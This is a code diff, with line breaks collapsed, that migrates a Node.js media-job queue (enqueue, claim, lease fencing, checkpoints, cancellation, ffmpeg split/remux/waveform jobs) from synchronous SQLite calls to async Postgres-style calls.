(const { app_id: appId } of db.all(`SELECT DISTINCT o.app_id FROM (${CANDIDATES}) c JOIN media_objects o ON o.id = c.id`)) {++ for (const { app_id: appId } of await db.all(`SELECT DISTINCT o.app_id FROM (${CANDIDATES}) c JOIN media_objects o ON o.id = c.id`)) {try {-- const r = queue.enqueue({ appId, type: TYPE, params: { limit: 50 }, idempotencyKey: `${TYPE}:${minutes}m:${period}`, createdBy: 'system:schedule' });++ const r = await queue.enqueue({ appId, type: TYPE, params: { limit: 50 }, idempotencyKey: `${TYPE}:${minutes}m:${period}`, createdBy: 'system:schedule' });if (r.created) n++;} catch (err) { console.warn(`[Jobs] could not schedule ${TYPE} for ${appId}: ${err.message}`); }}@@@ -66,7 +66,7 @@ async function resolveSource(obj) {const vodStorage = require('../vod/vod-storage');const ref = model.parseLegacyRef(obj.legacy_ref);if (ref && (ref.kind === 'vod' || ref.kind === 'clip')) {-- const row = db.get(`SELECT * FROM ${ref.kind === 'vod' ? 'vods' : 'clips'} WHERE id = ?`, [Number(ref.id)]);++ const row = await db.get(`SELECT * FROM ${ref.kind === 'vod' ? 'vods' : 'clips'} WHERE id = ?`, [Number(ref.id)]);if (!row || !row.file_path) return null;const local = ref.kind === 'vod'? existing(vodStorage.localPathForVod(row)) || existing(row.file_path)@@@ -75,7 +75,7 @@ async function resolveSource(obj) {const src = await vodStorage.resolveMediaSource(row);return src ? { input: src.value, name: row.file_path, remote: src.kind === 'url' } : null;}-- const locs = model.listLocations(obj.id);++ const locs = await model.listLocations(obj.id);const local = locs.find(l => l.provider === 'local' && l.state !== 'missing' && existing(l.key));if (local) return { input: local.key, name: obj.canonical_key || local.key };for (const p of ['r2', 'b2']) {@@@ -132,23 +132,23 @@ function probeDuration(p) {return require('../vod/media-tools').probeVodInfo(p).then(i => i.duration || 0).catch(() => 0);}--function loadSource(job) {-- const obj = model.getObject(job.object_id);++async function loadSource(job) {++ const obj = await model.getObject(job.object_id);if (!obj || obj.app_id !== job.app_id) throw new JobError('not_found', 'The source object no longer exists', { permanent: true });if (obj.lifecycle_status !== 'ready') throw new JobError('not_ready', `The source object is ${obj.lifecycle_status}`, { permanent: true });if (!isMediaObject(obj)) throw new JobError('media.job.invalid', 'Only vod/clip objects (or video/audio objects) can be split or remuxed', { permanent: true });return obj;}--function checkRoom(obj, needBytes) {++async function checkRoom(obj, needBytes) {const reserve = config.objects.uploadMinFreeMb * MB;const free = freeBytes(config.objects.path);if (free < needBytes + reserve) {throw new JobError('insufficient_disk', `Not enough free disk: need ${Math.ceil((needBytes + reserve) / MB)} MB, ${Math.floor(free / MB)} MB free`, { retryAfterS: 1800 });}// Outputs go to the source's namespace: every quota from there up to the tenant must have the room.-- const app = db.getApp(obj.app_id);-- const q = app ? require('../objects/namespaces').checkQuota(app, obj.namespace || db.rootNamespace(app), { bytes: needBytes, objects: 1 }) : null;++ const app = await db.getApp(obj.app_id);++ const q = app ? await require('../objects/namespaces').checkQuota(app, obj.namespace || db.rootNamespace(app), { bytes: needBytes, objects: 1 }) : null;if (q) throw new JobError('quota_exceeded', `The storage quota would be exceeded (${q.detail})`, { permanent: true });}@@@ -177,16 +177,16 @@ async function adopt({ src, file, ext, job, relation, metadata, variant, saveChefs.mkdirSync(path.dirname(dest), { recursive: true });fs.renameSync(file, dest);try {-- saveCheckpoint(checkpointFor(id, size), () => {-- db.run(`INSERT INTO media_objects (id, app_id, namespace, kind, owner_subject, owner_app, owner_user_id, visibility, lifecycle_status,++ await saveCheckpoint(checkpointFor(id, size), async () => {++ await db.run(`INSERT INTO media_objects (id, app_id, namespace, kind, owner_subject, owner_app, owner_user_id, visibility, lifecycle_status,mime_type, size_bytes, content_hash, canonical_provider, canonical_key, legacy_ref, metadata)VALUES (?, ?, ?, ?, ?, ?, ?, 'private', 'ready', ?, ?, ?, 'local', ?, NULL, ?)`,-- [id, src.app_id, src.namespace || db.rootNamespace(db.getApp(src.app_id) || { app_id: src.app_id }), kind || src.kind, src.owner_subject || null, src.owner_app || src.app_id, src.owner_user_id ?? null,++ [id, src.app_id, src.namespace || db.rootNamespace(await db.getApp(src.app_id) || { app_id: src.app_id }), kind || src.kind, src.owner_subject || null, src.owner_app || src.app_id, src.owner_user_id ?? null,mimeFor(ext, src), size, hash, dest,JSON.stringify({ title: md.title || null, derived_from: src.id, job_id: job.id, filename: `${src.id}${suffix ? `-${suffix}` : metadata.part ? `-part${metadata.part}` : '-remux'}${ext}`, ...metadata })]);-- model.upsertLocation(id, { provider: 'local', key: dest, state: 'present', size_bytes: size, checksum: hash, verified: true });-- model.setRelationship(id, 'derived_from', src.id, { job_id: job.id, ...relation });-- if (variant) model.setVariant(src.id, variant, id, `${job.type}@1`);++ await model.upsertLocation(id, { provider: 'local', key: dest, state: 'present', size_bytes: size, checksum: hash, verified: true });++ await model.setRelationship(id, 'derived_from', src.id, { job_id: job.id, ...relation });++ if (variant) await model.setVariant(src.id, variant, id, `${job.type}@1`);});} catch (err) {try { fs.unlinkSync(dest); } catch { /* not moved */ }@@@ -210,7 +210,7 @@ function validateSplit({ obj, params }) {}async function runSplit(job, ctx) {-- const src = loadSource(job);++ const src = await loadSource(job);const source = await resolveSource(src);if (!source) throw new JobError('media_unavailable', 'The source bytes are unavailable (no local file and no cloud copy)', { permanent: true });const md = model.parseJson(src.metadata, {});@@@ -223,7 +223,7 @@ async function runSplit(job, ctx) {const cp = ctx.checkpoint && Array.isArray(ctx.checkpoint.parts) ? ctx.checkpoint : { parts: [] };const doneParts = new Set(cp.parts.map(p => p.part));const remaining = Math.max(0, (Number(src.size_bytes) || 0) - cp.parts.reduce((a, p) => a + p.size_bytes, 0));-- checkRoom(src, remaining);++ await checkRoom(src, remaining);const ext = extFor(src, source.name);const dir = workDir(job.id);const maxBytes = Number(job.params.max_bytes) || require('../objects/invariant').thresholds().maxBytes;@@@ -274,14 +274,14 @@ function validateRemux({ obj }) {}async function runRemux(job, ctx) {-- const src = loadSource(job);++ const src = await loadSource(job);if (ctx.checkpoint && ctx.checkpoint.object_id) { // finished before an interruptioncleanupWork(job.id);return { source_id: src.id, method: 'remux', ...ctx.checkpoint, source_unchanged: true };}const source = await resolveSource(src);if (!source) throw new JobError('media_unavailable', 'The source bytes are unavailable (no local file and no cloud copy)', { permanent: true });-- checkRoom(src, Number(src.size_bytes) || 0);++ await checkRoom(src, Number(src.size_bytes) || 0);const ext = extFor(src, source.name);const out = path.join(workDir(job.id), `remux${ext}`);const r = await ffmpeg(['-y', '-nostdin', '-v', 'error', ...inputArgs(source), '-i', source.input, '-map', '0:v?', '-map', '0:a?', '-c', 'copy',@@@ -45,28 +45,28 @@ function validate({ obj, params }) {async function run(job, ctx = {}) {const p = validate({ obj: null, params: job.params });const walking = p.after_id == null;-- const afterId = walking ? (Number(db.getSetting(cursorKey(job.app_id))) || 0) : p.after_id;++ const afterId = walking ? (Number(await db.getSetting(cursorKey(job.app_id))) || 0) : p.after_id;const report = await reconcile.reconcileBatch({appId: job.app_id, afterId, limit: p.limit, apply: p.apply, confirmRemote: p.confirm_remote, signal: ctx.signal,});report.job_id = job.id;const file = reconcile.writeReport(report);const next = report.range.done ? 0 : report.range.last_id;-- if (walking) db.setSetting(cursorKey(job.app_id), next, 'number');++ if (walking) await db.setSetting(cursorKey(job.app_id), next, 'number');return { mode: report.mode, counts: report.counts, range: report.range, next_after_id: next, report: path.basename(file) };}/** Queue one run per tenant with VODs every MEDIA_DURATION_RECONCILE_HOURS (0 = never). Returns how many. */--function schedule(nowMs = Date.now()) {++async function schedule(nowMs = Date.now()) {const hours = envInt('MEDIA_DURATION_RECONCILE_HOURS', 0);if (!(hours > 0)) return 0;const period = Math.floor(nowMs / (hours * 3600 * 1000));const apply = bool(process.env.MEDIA_DURATION_RECONCILE_APPLY || '');const limit = Math.min(reconcile.MAX_BATCH, Math.max(1, envInt('MEDIA_DURATION_RECONCILE_BATCH', 25)));let n = 0;-- for (const { app_id: appId } of db.all('SELECT DISTINCT app_id FROM vods WHERE COALESCE(is_recording, 0) = 0 AND file_path IS NOT NULL')) {++ for (const { app_id: appId } of await db.all('SELECT DISTINCT app_id FROM vods WHERE COALESCE(is_recording, 0) = 0 AND file_path IS NOT NULL')) {try {-- const r = queue.enqueue({ appId, type: TYPE, params: { limit, apply, confirm_remote: false }, idempotencyKey: `${TYPE}:${hours}h:${period}`, createdBy: 'system:schedule' });++ const r = await queue.enqueue({ appId, type: TYPE, params: { limit, apply, confirm_remote: false }, idempotencyKey: `${TYPE}:${hours}h:${period}`, createdBy: 'system:schedule' });if (r.created) n++;} catch (err) { console.warn(`[Jobs] could not schedule ${TYPE} for ${appId}: ${err.message}`); }}@@@ -50,8 +50,8 @@ function proposalKey(objectId, type) {* The validator. `dryRun` writes nothing (no violation rows, no proposals) and returns what it would* propose. Used by the job below and by scripts/media-jobs.js scan.*/--function scanTenant(appId, { dryRun = false, scanJobId = null } = {}) {-- const report = invariant.scan({ record: !dryRun, appId });++async function scanTenant(appId, { dryRun = false, scanJobId = null } = {}) {++ const report = await invariant.scan({ record: !dryRun, appId });const t = report.thresholds;const out = {thresholds: t, counts: report.counts, violations: 0, proposed: 0, already_proposed: 0, withdrawn: 0,@@@ -62,19 +62,19 @@ function scanTenant(appId, { dryRun = false, scanJobId = null } = {}) {if (v.level !== 'violation') continue;out.violations++;violating.add(v.object_id);-- const obj = model.getObject(v.object_id);++ const obj = await model.getObject(v.object_id);if (!obj) continue;const plan = planFor(obj, t);out.by_type[plan.type] = (out.by_type[plan.type] || 0) + 1;const key = proposalKey(obj.id, plan.type);if (dryRun) {-- const prior = db.get('SELECT id, status FROM media_jobs WHERE app_id = ? AND idempotency_key = ?', [appId, key]);++ const prior = await db.get('SELECT id, status FROM media_jobs WHERE app_id = ? AND idempotency_key = ?', [appId, key]);if (prior) out.already_proposed++; else out.proposed++;out.proposals.push({ object_id: obj.id, legacy_ref: obj.legacy_ref, size_bytes: obj.size_bytes, type: plan.type, params: plan.params, existing: prior || null });continue;}try {-- const r = queue.enqueue({++ const r = await queue.enqueue({appId, type: plan.type, objectId: obj.id, params: plan.params, status: 'proposed',idempotencyKey: key, createdBy: scanJobId ? `${SYSTEM}:${scanJobId}` : SYSTEM,});@@@ -85,11 +85,11 @@ function scanTenant(appId, { dryRun = false, scanJobId = null } = {}) {}}// Withdraw open proposals whose object no longer breaks the policy.-- const open = db.all(`SELECT id, object_id FROM media_jobs WHERE app_id = ? AND status = 'proposed' AND created_by LIKE ?`, [appId, `${SYSTEM}%`]);++ const open = await db.all(`SELECT id, object_id FROM media_jobs WHERE app_id = ? AND status = 'proposed' AND created_by ILIKE ?`, [appId, `${SYSTEM}%`]);for (const p of open) {if (violating.has(p.object_id)) continue;if (dryRun) { out.withdrawn++; continue; }-- const r = queue.cancel(p.id, { by: SYSTEM, reason: 'the object no longer breaks the public size policy' });++ const r = await queue.cancel(p.id, { by: SYSTEM, reason: 'the object no longer breaks the public size policy' });if (r && r.job && r.job.status === 'cancelled') out.withdrawn++;}if (!dryRun) delete out.proposals;@@@ -97,7 +97,7 @@ function scanTenant(appId, { dryRun = false, scanJobId = null } = {}) {}async function run(job) {-- return scanTenant(job.app_id, { scanJobId: job.id });++ return await scanTenant(job.app_id, { scanJobId: job.id });}function validate({ obj }) {@@@ -56,7 +56,7 @@ function validateWaveform({ obj, params }) {}async function runWaveform(job, ctx) {-- const src = d.loadSource(job);++ const src = await d.loadSource(job);const p = validateWaveform({ obj: src, params: job.params });if (ctx.checkpoint && ctx.checkpoint.object_id) { d.cleanupWork(job.id); return { source_id: src.id, method: 'waveform', ...ctx.checkpoint }; }const source = await d.resolveSource(src);@@@ -64,7 +64,7 @@ async function runWaveform(job, ctx) {if (source.remote && Number(src.size_bytes) > REMOTE_MAX_BYTES) {throw new JobError('too_large', `A waveform decodes the whole audio track; this source is only in cloud storage and larger than ${REMOTE_MAX_BYTES / MB} MB`, { permanent: true });}-- d.checkRoom(src, 8 * MB);++ await d.checkRoom(src, 8 * MB);const out = path.join(d.workDir(job.id), 'waveform.png');const r = await d.ffmpeg(['-y', '-nostdin', '-v', 'error', ...d.inputArgs(source), '-i', source.input,'-filter_complex', `[0:a:0]aformat=channel_layouts=mono,showwavespic=s=${p.width}x${p.height}:colors=#60a5fa:scale=sqrt[w]`, '-map', '[w]', '-frames:v', '1', out],@@@ -104,12 +104,12 @@ function spriteLayout(duration, { frames, columns, tile_width }) {}async function runSprite(job, ctx) {-- const src = d.loadSource(job);++ const src = await d.loadSource(job);const p = validateSprite({ obj: src, params: job.params });if (ctx.checkpoint && ctx.checkpoint.object_id) { d.cleanupWork(job.id); return { source_id: src.id, method: 'sprite', ...ctx.checkpoint }; }const source = await d.resolveSource(src);if (!source) throw new JobError('media_unavailable', 'The source bytes are unavailable (no local file and no cloud copy)', { permanent: true });-- d.checkRoom(src, 16 * MB);++ await d.checkRoom(src, 16 * MB);const meta = await streamsOf(source.input);const md = require('../objects/model').parseJson(src.metadata, {});const duration = meta.duration || Number(md.duration_seconds) || 0;@@@ -97,11 +97,11 @@ function requestHash(type, objectId, params) {return crypto.createHash('sha256').update(canonical({ type, object_id: objectId || null, params: params || {} })).digest('hex');}--function get(id) {-- return id ? db.get('SELECT * FROM media_jobs WHERE id = ?', [String(id)]) : null;++async function get(id) {++ return id ? await db.get('SELECT * FROM media_jobs WHERE id = ?', [String(id)]) : null;}--function getForApp(id, appId) {-- const row = get(id);++async function getForApp(id, appId) {++ const row = await get(id);return row && row.app_id === appId ? row : null;}@@@ -175,13 +175,13 @@ function jobEvent(row) {* transaction; wake the relay and tell waiters after the commit. Returns the job row, or null when* `change()` changed nothing (a lost race: the caller decides what that means).*/--function commit(id, transition, change) {++async function commit(id, transition, change) {let row = null;-- db.getDb().transaction(() => {-- if (!change()) return;-- row = get(id);-- if (transition) events.recordJob(transition, jobEvent(row));-- })();++ await db.getDb().tx(async () => {++ if (!await change()) return;++ row = await get(id);++ if (transition) await events.recordJob(transition, jobEvent(row));++ });if (row) {if (transition) events.kick();bus.emit('change', row);@@@ -194,16 +194,16 @@ function commit(id, transition, change) {* `fence`: { token } adds AND lease_token IS <token> (a NULL token matches only an unleased row);* { expired: true } also requires the lease to have run out (recovery taking a job over).*/--function update(id, fromStatuses, sets, params = [], fence = null) {++async function update(id, fromStatuses, sets, params = [], fence = null) {const from = Array.isArray(fromStatuses) ? fromStatuses : [fromStatuses];let where = `id = ? AND status IN (${from.map(() => '?').join(', ')})`;const args = [...params, id, ...from];if (fence) {-- where += ' AND lease_token IS ?';++ where += ' AND lease_token IS NOT DISTINCT FROM ?';args.push(fence.token == null ? null : String(fence.token));if (fence.expired) where += " AND (lease_until IS NULL OR lease_until < datetime('now'))";}-- return db.run(`UPDATE media_jobs SET ${sets}, updated_at = CURRENT_TIMESTAMP WHERE ${where}`, args).changes > 0;++ return (await db.run(`UPDATE media_jobs SET ${sets}, updated_at = ov_now() WHERE ${where}`, args)).changes > 0;}// ── Fencing ──────────────────────────────────────────────────@@@ -212,9 +212,9 @@ const stale = { succeed: 0, fail: 0, cancel: 0, renew: 0, checkpoint: 0 };function newLeaseToken() { return crypto.randomBytes(16).toString('hex'); }/** A holder's write was refused because its claim no longer holds the job: log, count, tell listeners. */--function refuseStale(action, id) {++async function refuseStale(action, id) {stale[action] = (stale[action] || 0) + 1;-- const now = get(id);++ const now = await get(id);const where = !now ? 'it no longer exists' : now.status === 'running' ? 'another claim holds it' : `it is ${now.status} now`;console.warn(`[Jobs] refused a stale ${action} of ${id} from a holder that lost it (${where})`);bus.emit('stale', { action, id, status: now ? now.status : null });@@@ -237,7 +237,7 @@ function holder(opts, action, id) {* Throws JobError: media.job.unknown_type, media.job.idempotency_conflict (409), media.job.too_many (429).* `params` must already be validated (routes.js / the validator do that through the type's validate()).*/--function enqueue({ appId, type, objectId = null, params = {}, status = 'queued', idempotencyKey = null, dedupeActive = false,++async function enqueue({ appId, type, objectId = null, params = {}, status = 'queued', idempotencyKey = null, dedupeActive = false,createdBy = null, ownerUserId = null, maxAttempts = null, runAfterS = 0 }) {const spec = typeSpec(type);if (!spec) throw new JobError('media.job.unknown_type', `Unknown job type ${type}`, { status: 400, permanent: true });@@@ -246,9 +246,12 @@ function enqueue({ appId, type, objectId = null, params = {}, status = 'queued',const hash = requestHash(type, objectId, params);let out = null;const id = `mjob_${ids.ulid()}`;-- db.getDb().transaction(() => {++ await db.getDb().tx(async () => {++ // One enqueue per tenant at a time (SQLite's one writer did this): the key, the identical active job and the++ // active count below are read with every earlier enqueue of the tenant committed.++ await db.get('SELECT pg_advisory_xact_lock(hashtext(?)) AS locked', [`media.jobs:${appId}`]);if (key) {-- const prior = db.get('SELECT * FROM media_jobs WHERE app_id = ? AND idempotency_key = ?', [appId, key]);++ const prior = await db.get('SELECT * FROM media_jobs WHERE app_id = ? AND idempotency_key = ?', [appId, key]);if (prior) {if (prior.request_hash !== hash) {throw new JobError('media.job.idempotency_conflict', 'This Idempotency-Key was used for a different job request', { status: 409, permanent: true });@@@ -258,25 +261,25 @@ function enqueue({ appId, type, objectId = null, params = {}, status = 'queued',}}if (dedupeActive) {-- const same = db.get(`SELECT * FROM media_jobs WHERE app_id = ? AND job_type = ? AND request_hash = ? AND status IN ('queued', 'running')++ const same = await db.get(`SELECT * FROM media_jobs WHERE app_id = ? AND job_type = ? AND request_hash = ? AND status IN ('queued', 'running')ORDER BY id DESC LIMIT 1`, [appId, type, hash]);if (same) { out = { job: same, created: false, replayed: false, deduped: true }; return; }}if (status === 'queued') {-- const active = db.get("SELECT COUNT(*) AS n FROM media_jobs WHERE app_id = ? AND status IN ('queued', 'running')", [appId]).n;++ const active = (await db.get("SELECT COUNT(*) AS n FROM media_jobs WHERE app_id = ? AND status IN ('queued', 'running')", [appId])).n;if (active >= MAX_ACTIVE_PER_TENANT) {throw new JobError('media.job.too_many', `At most ${MAX_ACTIVE_PER_TENANT} jobs may be queued or running per tenant`, { status: 429, retryAfterS: 60 });}}-- db.run(`INSERT INTO media_jobs (id, app_id, object_id, job_type, status, idempotency_key, request_hash, params, max_attempts,++ await db.run(`INSERT INTO media_jobs (id, app_id, object_id, job_type, status, idempotency_key, request_hash, params, max_attempts,run_after, created_by, owner_user_id)VALUES (?, ?, ?, ?, ?, ?, ?, ?, ?, ${runAfterS > 0 ? `datetime('now', '+${Math.round(runAfterS)} seconds')` : 'NULL'}, ?, ?)`,[id, appId, objectId, type, status, key, hash, JSON.stringify(params || {}),Math.max(1, Math.min(10, Number(maxAttempts) || spec.maxAttempts)), createdBy, ownerUserId ?? null]);-- const row = get(id);-- events.recordJob(status, jobEvent(row));++ const row = await get(id);++ await events.recordJob(status, jobEvent(row));out = { job: row, created: true, replayed: false, deduped: false };-- })();++ });if (out.created) { events.kick(); bus.emit('change', out.job); }return out;}@@@ -284,8 +287,8 @@ function enqueue({ appId, type, objectId = null, params = {}, status = 'queued',// ── Owner decisions ──────────────────────────────────────────/** proposed -> queued. Returns the job, or null when it is not a proposal (any more). */--function approve(id, { by = null } = {}) {-- return commit(id, 'queued', () => update(id, 'proposed', "status = 'queued', decided_by = ?, decided_at = CURRENT_TIMESTAMP, run_after = NULL", [by]));++async function approve(id, { by = null } = {}) {++ return await commit(id, 'queued', async () => await update(id, 'proposed', "status = 'queued', decided_by = ?, decided_at = ov_now(), run_after = NULL", [by]));}/**@@@ -293,20 +296,20 @@ function approve(id, { by = null } = {}) {* stops at its next check (the worker also aborts it in-process); { job, pending: true } until then.* Finished jobs: { job, finished: true } and nothing changes.*/--function cancel(id, { by = null, reason = null } = {}) {-- const row = get(id);++async function cancel(id, { by = null, reason = null } = {}) {++ const row = await get(id);if (!row) return null;if (FINISHED.includes(row.status)) return { job: row, finished: true };if (row.status === 'running') {-- db.run('UPDATE media_jobs SET cancel_requested = 1, decided_by = COALESCE(decided_by, ?), updated_at = CURRENT_TIMESTAMP WHERE id = ?', [by, id]);++ await db.run('UPDATE media_jobs SET cancel_requested = 1, decided_by = COALESCE(decided_by, ?), updated_at = ov_now() WHERE id = ?', [by, id]);try { require('./worker').abort(id); } catch { /* the heartbeat sees the flag */ }-- return { job: get(id), pending: true };++ return { job: await get(id), pending: true };}-- const done = commit(id, 'cancelled', () => update(id, ['proposed', 'queued'],-- `status = 'cancelled', finished_at = CURRENT_TIMESTAMP, decided_by = ?, decided_at = CURRENT_TIMESTAMP,-- error = COALESCE(?, error), error_code = CASE WHEN ? IS NULL THEN error_code ELSE 'cancelled' END`, [by, reason, reason]));++ const done = await commit(id, 'cancelled', async () => await update(id, ['proposed', 'queued'],++ `status = 'cancelled', finished_at = ov_now(), decided_by = ?, decided_at = ov_now(),++ error = COALESCE(?::text, error), error_code = CASE WHEN ?::text IS NULL THEN error_code ELSE 'cancelled' END`, [by, reason, reason]));if (done) return { job: done };-- return cancel(id, { by, reason }); // it moved on meanwhile (picked up): try again from its new state++ return await cancel(id, { by, reason }); // it moved on meanwhile (picked up): try again from its new state}// ── Worker side ──────────────────────────────────────────────@@@ -315,20 +318,20 @@ function cancel(id, { by = null, reason = null } = {}) {* Take the oldest due queued job of these types (or exactly `id`): running, attempts + 1, leased, with* a fresh lease_token. Returns the row (its lease_token is the holder's fence) or null.*/--function claim(types, { leaseS = 120, id = null } = {}) {++async function claim(types, { leaseS = 120, id = null } = {}) {if (!id && !types.length) return null;let row = null;-- db.getDb().transaction(() => {++ await db.getDb().tx(async () => {const next = id-- ? db.get("SELECT id FROM media_jobs WHERE id = ? AND status = 'queued'", [id])-- : db.get(`SELECT id FROM media_jobs WHERE status = 'queued' AND job_type IN (${types.map(() => '?').join(', ')})++ ? await db.get("SELECT id FROM media_jobs WHERE id = ? AND status = 'queued'", [id])++ : await db.get(`SELECT id FROM media_jobs WHERE status = 'queued' AND job_type IN (${types.map(() => '?').join(', ')})AND (run_after IS NULL OR run_after <= datetime('now')) ORDER BY id LIMIT 1`, types);if (!next) return;-- if (!update(next.id, 'queued', `status = 'running', attempts = attempts + 1, started_at = COALESCE(started_at, CURRENT_TIMESTAMP),++ if (!await update(next.id, 'queued', `status = 'running', attempts = attempts + 1, started_at = COALESCE(started_at, ov_now()),lease_until = datetime('now', '+${Math.round(leaseS)} seconds'), run_after = NULL, lease_token = ?`, [newLeaseToken()])) return;-- row = get(next.id);-- events.recordJob('started', jobEvent(row));-- })();++ row = await get(next.id);++ await events.recordJob('started', jobEvent(row));++ });if (row) { events.kick(); bus.emit('change', row); }return row;}@@@ -337,13 +340,13 @@ function claim(types, { leaseS = 120, id = null } = {}) {* Extend a running job's lease, for the holder of `token` only. Returns { running, held, cancelRequested }:* held false = this claim lost the job (refused as stale; the worker aborts its handler).*/--function renew(id, opts = {}) {++async function renew(id, opts = {}) {const fence = holder(opts, 'renew', id);const leaseS = opts.leaseS == null ? 120 : opts.leaseS;-- const held = db.run(`UPDATE media_jobs SET lease_until = datetime('now', '+${Math.round(leaseS)} seconds')-- WHERE id = ? AND status = 'running' AND lease_token IS ?`, [id, fence.token == null ? null : String(fence.token)]).changes > 0;-- if (!held) refuseStale('renew', id);-- const row = get(id);++ const held = (await db.run(`UPDATE media_jobs SET lease_until = datetime('now', '+${Math.round(leaseS)} seconds')++ WHERE id = ? AND status = 'running' AND lease_token IS NOT DISTINCT FROM ?`, [id, fence.token == null ? null : String(fence.token)])).changes > 0;++ if (!held) await refuseStale('renew', id);++ const row = await get(id);return { running: !!row && row.status === 'running', held, cancelRequested: !!(row && row.cancel_requested) };}@@@ -352,31 +355,31 @@ function renew(id, opts = {}) {* became). With `{ token }` (the worker) only the job's holder may: a stale holder's checkpoint and* everything alsoInTx did roll back, and it throws media.job.lease_lost.*/--function saveCheckpoint(id, checkpoint, alsoInTx = null, opts = null) {++async function saveCheckpoint(id, checkpoint, alsoInTx = null, opts = null) {const fenced = !!(opts && Object.prototype.hasOwnProperty.call(opts, 'token'));let lost = false;try {-- db.getDb().transaction(() => {-- if (alsoInTx) alsoInTx();++ await db.getDb().tx(async () => {++ if (alsoInTx) await alsoInTx();const changes = fenced-- ? db.run("UPDATE media_jobs SET checkpoint = ?, updated_at = CURRENT_TIMESTAMP WHERE id = ? AND status = 'running' AND lease_token IS ?",-- [JSON.stringify(checkpoint), id, opts.token == null ? null : String(opts.token)]).changes-- : db.run('UPDATE media_jobs SET checkpoint = ?, updated_at = CURRENT_TIMESTAMP WHERE id = ?', [JSON.stringify(checkpoint), id]).changes;++ ? (await db.run("UPDATE media_jobs SET checkpoint = ?, updated_at = ov_now() WHERE id = ? AND status = 'running' AND lease_token IS NOT DISTINCT FROM ?",++ [JSON.stringify(checkpoint), id, opts.token == null ? null : String(opts.token)])).changes++ : (await db.run('UPDATE media_jobs SET checkpoint = ?, updated_at = ov_now() WHERE id = ?', [JSON.stringify(checkpoint), id])).changes;if (fenced && !changes) { lost = true; throw new JobError('media.job.lease_lost', 'This worker no longer holds the job', { permanent: true, status: 409 }); }-- })();++ });} catch (err) {-- if (lost) refuseStale('checkpoint', id);++ if (lost) await refuseStale('checkpoint', id);throw err;}}/** The holder's result: running → succeeded. { token } is the claim's; a stale holder is refused (null). */--function succeed(id, result, opts) {++async function succeed(id, result, opts) {const fence = holder(opts, 'succeed', id);-- const row = commit(id, 'succeeded', () => update(id, 'running',-- "status = 'succeeded', result = ?, error = NULL, error_code = NULL, lease_until = NULL, lease_token = NULL, finished_at = CURRENT_TIMESTAMP",++ const row = await commit(id, 'succeeded', async () => await update(id, 'running',++ "status = 'succeeded', result = ?, error = NULL, error_code = NULL, lease_until = NULL, lease_token = NULL, finished_at = ov_now()",[JSON.stringify(result ?? null)], fence));-- if (!row && !fence.takeover) refuseStale('succeed', id);++ if (!row && !fence.takeover) await refuseStale('succeed', id);return row;}@@@ -385,30 +388,30 @@ function succeed(id, result, opts) {* the claim's; a stale holder is refused (null). Recovery passes the token it read with { takeover: true }* (and { expired: true } past boot: only while the lease is still run out).*/--function fail(id, { message, code = null, retryInS = null, result = null, ...opts }) {++async function fail(id, { message, code = null, retryInS = null, result = null, ...opts }) {const fence = holder(opts, 'fail', id);const msg = String(message || 'failed').slice(0, 1000);let row;if (retryInS != null) {-- row = commit(id, 'retrying', () => update(id, 'running',++ row = await commit(id, 'retrying', async () => await update(id, 'running',`status = 'queued', error = ?, error_code = ?, lease_until = NULL, lease_token = NULL, run_after = datetime('now', '+${Math.max(0, Math.round(retryInS))} seconds')`,[msg, code], fence));} else {-- row = commit(id, 'failed', () => update(id, 'running',-- "status = 'failed', error = ?, error_code = ?, result = COALESCE(?, result), lease_until = NULL, lease_token = NULL, finished_at = CURRENT_TIMESTAMP",++ row = await commit(id, 'failed', async () => await update(id, 'running',++ "status = 'failed', error = ?, error_code = ?, result = COALESCE(?, result), lease_until = NULL, lease_token = NULL, finished_at = ov_now()",[msg, code, result == null ? null : JSON.stringify(result)], fence));}-- if (!row && !fence.takeover) refuseStale('fail', id);++ if (!row && !fence.takeover) await refuseStale('fail', id);return row;}/** A running job that stopped because its owner cancelled it. { token } as for fail(). */--function markCancelled(id, { result = null, ...opts } = {}) {++async function markCancelled(id, { result = null, ...opts } = {}) {const fence = holder(opts, 'cancel', id);-- const row = commit(id, 'cancelled', () => update(id, 'running',-- "status = 'cancelled', error = 'cancelled by its owner', error_code = 'cancelled', result = COALESCE(?, result), lease_until = NULL, lease_token = NULL, finished_at = CURRENT_TIMESTAMP",++ const row = await commit(id, 'cancelled', async () => await update(id, 'running',++ "status = 'cancelled', error = 'cancelled by its owner', error_code = 'cancelled', result = COALESCE(?, result), lease_until = NULL, lease_token = NULL, finished_at = ov_now()",[result == null ? null : JSON.stringify(result)], fence));-- if (!row && !fence.takeover) refuseStale('cancel', id);++ if (!row && !fence.takeover) await refuseStale('cancel', id);return row;}@@@ -416,8 +419,8 @@ function markCancelled(id, { result = null, ...opts } = {}) {* Running jobs nobody holds any more: every one at boot (`all`), otherwise those whose lease ran out.* `except` = ids this process is running. Each is retried if it has attempts left, else failed.*/--function recoverInterrupted({ all = false, except = new Set(), retryInS = 30 } = {}) {-- const rows = db.all(`SELECT * FROM media_jobs WHERE status = 'running'${all ? '' : " AND (lease_until IS NULL OR lease_until < datetime('now'))"}`);++async function recoverInterrupted({ all = false, except = new Set(), retryInS = 30 } = {}) {++ const rows = await db.all(`SELECT * FROM media_jobs WHERE status = 'running'${all ? '' : " AND (lease_until IS NULL OR lease_until < datetime('now'))"}`);let n = 0;for (const row of rows) {if (except.has(row.id)) continue;@@@ -426,22 +429,22 @@ function recoverInterrupted({ all = false, except = new Set(), retryInS = 30 } =// a holder that renewed or finished meanwhile keeps its job.const fence = { token: row.lease_token, takeover: true, expired: !all };let done;-- if (row.cancel_requested) done = markCancelled(row.id, fence);-- else if (row.attempts < row.max_attempts) done = fail(row.id, { message: why, code: 'interrupted', retryInS, ...fence });-- else done = fail(row.id, { message: why, code: 'interrupted', ...fence });++ if (row.cancel_requested) done = await markCancelled(row.id, fence);++ else if (row.attempts < row.max_attempts) done = await fail(row.id, { message: why, code: 'interrupted', retryInS, ...fence });++ else done = await fail(row.id, { message: why, code: 'interrupted', ...fence });if (done) n++;}return n;}/** Wait until the job is finished (or `timeoutMs` passes). Resolves with the row as it is then. */--function waitFor(id, timeoutMs = 60000) {-- const now = get(id);++async function waitFor(id, timeoutMs = 60000) {++ const now = await get(id);if (!now || FINISHED.includes(now.status)) return Promise.resolve(now);return new Promise((resolve) => {const ev = `finished:${id}`;-- const done = (row) => { clearTimeout(t); bus.removeListener(ev, done); resolve(row || get(id)); };-- const t = setTimeout(() => done(null), timeoutMs);++ const done = async (row) => { clearTimeout(t); bus.removeListener(ev, done); resolve(row || await get(id)); };++ const t = setTimeout(async () => await done(null), timeoutMs);if (t.unref) 